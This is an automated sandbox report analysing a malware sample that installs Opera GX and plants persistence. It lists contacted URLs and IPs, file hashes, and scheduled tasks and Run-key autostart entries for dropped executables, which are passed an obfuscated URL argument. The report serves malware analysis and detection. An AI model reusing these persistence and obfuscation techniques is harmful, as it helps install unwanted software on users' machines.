                                                                                                                                                              https://duckduckgo.com/favicon.icoinstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                https://www.google.com/favicon.icoinstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                  https://autoupdate.geo.opera.com/https://autoupdate.opera.com/me/OperaDesktopGXhttps://crashstats-cof_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                                                                    https://search.seznam.cz/?q=installer.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                      https://www.deezer.com/ru/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                        https://download.opera.com/download/get/?id=68148&autoupdate=1&ni=1&stream=stable&utm_campaign=PWN_Usetup.exe, 0000000A.00000003.1508224241.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460882271.00000000011AC000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454547122.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3456123992.0000000053E26000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                          https://features.opera-api2.com/api/v2/features?country=US&language=en-GB&uuid=4a730dd9-027f-4e80-b7setup.exe, 0000000A.00000002.3460220792.0000000001162000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                            http://examplebehavior.xyz/rlo.php?d=b&msg=&r=offer_execution&ko=yes&o=1662&a=2910&dn=420&spot=1&t=1SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.000000000089D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                              https://autoupdate.geo.opera.com/api/prefs/?product=Opera%20GX&version=114.0.5282.93setup.exe, 0000000A.00000003.3454638840.0000000004CBB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735366179.0000000004CB5000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                https://gamemaker.io/en/get.f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                                                                                  https://www.opera.com/gx/f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                                                                                    https://gamemaker.iof_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                                                                                      https://help.instagram.com/581066165581870;f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                                                                                        https://translate.yandex.net/main/v2.92.1465389915/i/favicon.icoinstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                                          https://browser-notifications.opera.com/api/v1/Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                            https://desktop-netinstaller-sub.osp.opera.software/r-sub.osp.opera.software/7xSipVerifyIndirectDatasetup.exe, 0000000A.00000002.3460220792.0000000001162000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                              https://www.deezer.com/us/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                                                https://api.config.opr.gg/v0/configf_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                                                                                                  https://www.amazon.com/favicon.icoinstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                                                    https://www.so.com/s?src=lm&ls=sm2297808&lm_extend=ctype:31&q=installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                                                      https://desktop-netinstaller-sub.osp.opera.software/r-sub.osp.opera.software/setup.exe, 0000000A.00000002.3460220792.0000000001162000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                        https://www.deezer.com/es/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          https://www.deezer.com/de/logininstaller.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                                                            https://crashstats-collector.opera.com/collector/submiterassistant_installer.exe, 00000015.00000002.2699393729.0000000005399000.00000004.00000020.00020000.00000000.sdmpfalse

                                                                                                                                                                                                              World Map of Contacted IPs

                                                                                                                                                                                                              • No. of IPs < 25%
                                                                                                                                                                                                              • 25% < No. of IPs < 50%
                                                                                                                                                                                                              • 50% < No. of IPs < 75%
                                                                                                                                                                                                              • 75% < No. of IPs

                                                                                                                                                                                                              Public IPs

                                                                                                                                                                                                              IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                              82.145.217.121
                                                                                                                                                                                                              		unknownUnited Kingdom
                                                                                                                                                                                                              		39832NO-OPERANOfalse
                                                                                                                                                                                                              82.145.216.20
                                                                                                                                                                                                              		unknownUnited Kingdom
                                                                                                                                                                                                              		39832NO-OPERANOfalse
                                                                                                                                                                                                              104.18.24.17
                                                                                                                                                                                                              		unknownUnited States
                                                                                                                                                                                                              		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                              104.21.12.132
                                                                                                                                                                                                              		unknownUnited States
                                                                                                                                                                                                              		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                              82.145.216.19
                                                                                                                                                                                                              		unknownUnited Kingdom
                                                                                                                                                                                                              		39832NO-OPERANOfalse
                                                                                                                                                                                                              178.79.238.0
                                                                                                                                                                                                              		unknownEuropean Union
                                                                                                                                                                                                              		22822LLNWUSfalse
                                                                                                                                                                                                              185.26.182.111
                                                                                                                                                                                                              		unknownNorway
                                                                                                                                                                                                              		39832NO-OPERANOfalse
                                                                                                                                                                                                              185.26.182.112
                                                                                                                                                                                                              		unknownNorway
                                                                                                                                                                                                              		39832NO-OPERANOfalse
                                                                                                                                                                                                              104.18.10.89
                                                                                                                                                                                                              		unknownUnited States
                                                                                                                                                                                                              		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                              185.26.182.124
                                                                                                                                                                                                              		unknownNorway
                                                                                                                                                                                                              		39832NO-OPERANOfalse
                                                                                                                                                                                                              188.114.96.3
                                                                                                                                                                                                              		unknownEuropean Union
                                                                                                                                                                                                              		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                              23.106.59.18
                                                                                                                                                                                                              		unknownUnited Kingdom
                                                                                                                                                                                                              		205544LEASEWEB-UK-LON-11GBfalse
                                                                                                                                                                                                              192.229.221.95
                                                                                                                                                                                                              		unknownUnited States
                                                                                                                                                                                                              		15133EDGECASTUSfalse
                                                                                                                                                                                                              2.23.209.50
                                                                                                                                                                                                              		unknownEuropean Union
                                                                                                                                                                                                              		1273CWVodafoneGroupPLCEUfalse
                                                                                                                                                                                                              23.106.59.52
                                                                                                                                                                                                              		unknownUnited Kingdom
                                                                                                                                                                                                              		205544LEASEWEB-UK-LON-11GBfalse
                                                                                                                                                                                                              185.26.182.117
                                                                                                                                                                                                              		unknownNorway
                                                                                                                                                                                                              		39832NO-OPERANOfalse

                                                                                                                                                                                                              Private

                                                                                                                                                                                                              IP
                                                                                                                                                                                                              192.168.2.7
                                                                                                                                                                                                              127.0.0.1

                                                                                                                                                                                                              General Information

                                                                                                                                                                                                              Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                                              Analysis ID:1532467
                                                                                                                                                                                                              Start date and time:2024-10-13 09:28:17 +02:00
                                                                                                                                                                                                              Joe Sandbox product:CloudBasic
                                                                                                                                                                                                              Overall analysis duration:0h 16m 42s
                                                                                                                                                                                                              Hypervisor based Inspection enabled:false
                                                                                                                                                                                                              Report type:full
                                                                                                                                                                                                              Cookbook file name:default.jbs
                                                                                                                                                                                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                              Number of analysed new started processes analysed:35
                                                                                                                                                                                                              Number of new started drivers analysed:0
                                                                                                                                                                                                              Number of existing processes analysed:0
                                                                                                                                                                                                              Number of existing drivers analysed:0
                                                                                                                                                                                                              Number of injected processes analysed:11
                                                                                                                                                                                                              Technologies:
                                                                                                                                                                                                              • HCA enabled
                                                                                                                                                                                                              • EGA enabled
                                                                                                                                                                                                              • AMSI enabled
                                                                                                                                                                                                              Analysis Mode:default
                                                                                                                                                                                                              Analysis stop reason:Timeout
                                                                                                                                                                                                              Sample name:SecuriteInfo.com.FileRepMalware.27261.32754.exe
                                                                                                                                                                                                              Detection:MAL
                                                                                                                                                                                                              Classification:mal84.spyw.evad.winEXE@93/1001@0/18
                                                                                                                                                                                                              EGA Information:
                                                                                                                                                                                                              • Successful, ratio: 42.9%
                                                                                                                                                                                                              HCA Information:
                                                                                                                                                                                                              • Successful, ratio: 73%
                                                                                                                                                                                                              • Number of executed functions: 114
                                                                                                                                                                                                              • Number of non-executed functions: 246
                                                                                                                                                                                                              Cookbook Comments:
                                                                                                                                                                                                              • Found application associated with file extension: .exe
                                                                                                                                                                                                              • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                                                                                                                                                              Warnings

                                                                                                                                                                                                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
                                                                                                                                                                                                              • Execution Graph export aborted for target SecuriteInfo.com.FileRepMalware.27261.32754.tmp, PID 7384 because there are no executed function
                                                                                                                                                                                                              • Execution Graph export aborted for target installer.exe, PID 2052 because there are no executed function
                                                                                                                                                                                                              • Execution Graph export aborted for target setup.exe, PID 7884 because there are no executed function
                                                                                                                                                                                                              • Execution Graph export aborted for target setup.exe, PID 8040 because there are no executed function
                                                                                                                                                                                                              • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                              • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                                                                              • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                              • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                                                                              • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                                                                                                                              • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                                                                                                                              • Report size getting too big, too many NtOpenFile calls found.
                                                                                                                                                                                                              • Report size getting too big, too many NtOpenKey calls found.
                                                                                                                                                                                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                              • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                              • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                              • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                                                                                                                              • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                                                                                                                              • Report size getting too big, too many NtWriteFile calls found.
                                                                                                                                                                                                              • Report size getting too big, too many NtWriteVirtualMemory calls found.
                                                                                                                                                                                                              • Skipping network analysis since amount of network traffic is too extensive

                                                                                                                                                                                                              Simulations

                                                                                                                                                                                                              Behavior and APIs

                                                                                                                                                                                                              TimeTypeDescription
                                                                                                                                                                                                              03:29:27API Interceptor7676555x Sleep call for process: powershell.exe modified
                                                                                                                                                                                                              04:33:59API Interceptor469x Sleep call for process: explorer.exe modified
                                                                                                                                                                                                              04:34:26API Interceptor1x Sleep call for process: opera_autoupdate.exe modified
                                                                                                                                                                                                              10:34:03Task SchedulerRun new task: Opera GX scheduled Autoupdate 1728808435 path: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe s>--scheduledtask --bypasslauncher $(Arg0)
                                                                                                                                                                                                              10:34:11AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Opera GX Stable C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              10:34:20AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Opera GX Stable C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              10:35:03Task SchedulerRun new task: uzp0ty path: %PROGRAMFILES(x86)%\Dunnett\erects.exe
                                                                                                                                                                                                              10:35:04AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Clientele C:\Program Files (x86)\Dunnett\Itasca.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyttgbnhyotgbnhymtgbnhyotgbnhyotgbnhyntgbnhygtgbnhyltgbnhyatgbnhyrtgbnhyetgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhyt2ep0ep2eptgbnhy4ep1o0o1t3tgbnhytepaspzZ2vtgbnhySkuBSDPkphtgbnhyyuDZst"
                                                                                                                                                                                                              10:35:06Task SchedulerRun new task: tbozjx path: %localappdata%\guyer.exe s>"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyttgbnhyotgbnhymtgbnhyotgbnhyotgbnhyntgbnhygtgbnhyltgbnhyatgbnhyrtgbnhyetgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhyt2ep0ep2eptgbnhy4ep1o0o1t3tgbnhytepaspzZ2vtgbnhySkuBSDPkphtgbnhyyuDZst"
                                                                                                                                                                                                              10:35:06Task SchedulerRun new task: x30h47 path: %PROGRAMFILES(x86)%\rivulet\Reassuring.exe s>"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyttgbnhyotgbnhymtgbnhyotgbnhyotgbnhyntgbnhygtgbnhyltgbnhyatgbnhyrtgbnhyetgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhyt2ep0ep2eptgbnhy4ep1o0o1t3tgbnhytepaspzZ2vtgbnhySkuBSDPkphtgbnhyyuDZst"
                                                                                                                                                                                                              10:35:06Task SchedulerRun new task: at5zqt path: %PROGRAMFILES(x86)%\Dunnett\embarks.exe
                                                                                                                                                                                                              10:35:06Task SchedulerRun new task: vqsagd path: %localappdata%\Reassuring.exe s>"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyttgbnhyotgbnhymtgbnhyotgbnhyotgbnhyntgbnhygtgbnhyltgbnhyatgbnhyrtgbnhyetgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhyt2ep0ep2eptgbnhy4ep1o0o1t3tgbnhytepaspzZ2vtgbnhySkuBSDPkphtgbnhyyuDZst"
                                                                                                                                                                                                              10:35:06Task SchedulerRun new task: xcbyc3 path: %PROGRAMFILES(x86)%\Dunnett\Itasca.exe s>"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyttgbnhyotgbnhymtgbnhyotgbnhyotgbnhyntgbnhygtgbnhyltgbnhyatgbnhyrtgbnhyetgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhyt2ep0ep2eptgbnhy4ep1o0o1t3tgbnhytepaspzZ2vtgbnhySkuBSDPkphtgbnhyyuDZst"
                                                                                                                                                                                                              10:35:06Task SchedulerRun new task: nm0svj path: %localappdata%\Itasca.exe s>"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyttgbnhyotgbnhymtgbnhyotgbnhyotgbnhyntgbnhygtgbnhyltgbnhyatgbnhyrtgbnhyetgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhyt2ep0ep2eptgbnhy4ep1o0o1t3tgbnhytepaspzZ2vtgbnhySkuBSDPkphtgbnhyyuDZst"
                                                                                                                                                                                                              10:35:06Task SchedulerRun new task: jbzzyt path: %localappdata%\coconuts.exe
                                                                                                                                                                                                              10:35:09Task SchedulerRun new task: qhs782 path: %PROGRAMFILES(x86)%\Korean\Reassuring.exe s>"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyttgbnhyotgbnhymtgbnhyotgbnhyotgbnhyntgbnhygtgbnhyltgbnhyatgbnhyrtgbnhyetgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhyt2ep0ep2eptgbnhy4ep1o0o1t3tgbnhytepaspzZ2vtgbnhySkuBSDPkphtgbnhyyuDZst"
                                                                                                                                                                                                              10:35:09Task SchedulerRun new task: tj1445 path: %localappdata%\Itasca.exe s>"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyttgbnhyotgbnhymtgbnhyotgbnhyotgbnhyntgbnhygtgbnhyltgbnhyatgbnhyrtgbnhyetgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhyt2ep0ep2eptgbnhy4ep1o0o1t3tgbnhytepaspzZ2vtgbnhySkuBSDPkphtgbnhyyuDZst"
                                                                                                                                                                                                              10:35:09Task SchedulerRun new task: 0l6ejq path: %PROGRAMFILES(x86)%\Korean\Itasca.exe s>"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyttgbnhyotgbnhymtgbnhyotgbnhyotgbnhyntgbnhygtgbnhyltgbnhyatgbnhyrtgbnhyetgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhyt2ep0ep2eptgbnhy4ep1o0o1t3tgbnhytepaspzZ2vtgbnhySkuBSDPkphtgbnhyyuDZst"
                                                                                                                                                                                                              10:35:09Task SchedulerRun new task: rg1sad path: %PROGRAMFILES(x86)%\rivulet\Reassuring.exe s>"tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyttgbnhyotgbnhymtgbnhyotgbnhyotgbnhyntgbnhygtgbnhyltgbnhyatgbnhyrtgbnhyetgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhyt2ep0ep2eptgbnhy4ep1o0o1t3tgbnhytepaspzZ2vtgbnhySkuBSDPkphtgbnhyyuDZst"
                                                                                                                                                                                                              10:35:12AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Everts C:\Program Files (x86)\rivulet\Reassuring.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyttgbnhyotgbnhymtgbnhyotgbnhyotgbnhyntgbnhygtgbnhyltgbnhyatgbnhyrtgbnhyetgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhyt2ep0ep2eptgbnhy4ep1o0o1t3tgbnhytepaspzZ2vtgbnhySkuBSDPkphtgbnhyyuDZst"
                                                                                                                                                                                                              10:35:20AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Contains C:\Program Files (x86)\Korean\Itasca.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyttgbnhyotgbnhymtgbnhyotgbnhyotgbnhyntgbnhygtgbnhyltgbnhyatgbnhyrtgbnhyetgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhyt2ep0ep2eptgbnhy4ep1o0o1t3tgbnhytepaspzZ2vtgbnhySkuBSDPkphtgbnhyyuDZst"
                                                                                                                                                                                                              10:35:29AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Meuse C:\Program Files (x86)\Dunnett\Itasca.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyttgbnhyotgbnhymtgbnhyotgbnhyotgbnhyntgbnhygtgbnhyltgbnhyatgbnhyrtgbnhyetgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhyt2ep0ep2eptgbnhy4ep1o0o1t3tgbnhytepaspzZ2vtgbnhySkuBSDPkphtgbnhyyuDZst"

                                                                                                                                                                                                              Joe Sandbox View / Context

                                                                                                                                                                                                              IPs

                                                                                                                                                                                                              ⊘No context

                                                                                                                                                                                                              Domains

                                                                                                                                                                                                              ⊘No context

                                                                                                                                                                                                              ASNs

                                                                                                                                                                                                              ⊘No context

                                                                                                                                                                                                              JA3 Fingerprints

                                                                                                                                                                                                              ⊘No context

                                                                                                                                                                                                              Dropped Files

                                                                                                                                                                                                              ⊘No context

                                                                                                                                                                                                              Created / dropped Files

                                                                                                                                                                                                              C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1499104
                                                                                                                                                                                                              Entropy (8bit):7.985603261747699
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:4ACKcQz8HkfJ8dQnd4GrbwsgY+UfLBCQdI5f3cjCRgCPPWCUZry8k/GUrbN:5pT8HkfJ5eGrbmR0afsXCBrG
                                                                                                                                                                                                              MD5:E9A2209B61F4BE34F25069A6E54AFFEA
                                                                                                                                                                                                              SHA1:6368B0A81608C701B06B97AEFF194CE88FD0E3C0
                                                                                                                                                                                                              SHA-256:E950F17F4181009EEAFA9F5306E8A9DFD26D88CA63B1838F44FF0EFC738E7D1F
                                                                                                                                                                                                              SHA-512:59E46277CA79A43ED8B0A25B24EFF013E251A75F90587E013B9C12851E5DD7283B6172F7D48583982F6A32069457778EE440025C1C754BF7BB6CE8AE1D2C3FC5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Antivirus:
                                                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                              • Antivirus: Virustotal, Detection: 2%, Browse
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L...'..P.................(...F.......-.......@....@.................................7........................................b......................H................................................................@..d............................text....&.......(.................. ..`.rdata...5...@...6...*..............@..@.data....)...........`..............@....rsrc................h..............@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P....P.|..Y.nj'.v....u..v..=.BA..6P......P....9^..].v8.^..3......hhDA.P..........P......P..pAA..E..E....;F.r......P.J|..Y.24..j...lAA...t$..D....3.9.H.A.t...@....9D$.t..t$.Ph.....5@.A....BA.3.....D$..`...|$..u..@.....3.....t$..D$..t$...`.A......t$...P.Q..%`.A...D$...V...t...P.Q...^...VW.|$.....t...W.P.....t...P.Q..>.._^....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u..S.\$.V..C;^.tLW3.j.Z...........Q.......3.9F.Y~.9F.~...f..Af..G@;F.|..6....

                                                                                                                                                                                                              C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\installer_prefs_include.json (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):384
                                                                                                                                                                                                              Entropy (8bit):5.203234939850706
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6:YSAILzPl3DBDmNY+BDxclQ4pZWdHnOAb6AiWIoSN8mNABDxclQ41oW:YSLrlNDmNYKkYHnz6AVSN8mNAzWoW
                                                                                                                                                                                                              MD5:DECFAA7C6651F7B705EB0E99DE959E09
                                                                                                                                                                                                              SHA1:9414734B3A2960E9DE979CD589149DB90F87FEEC
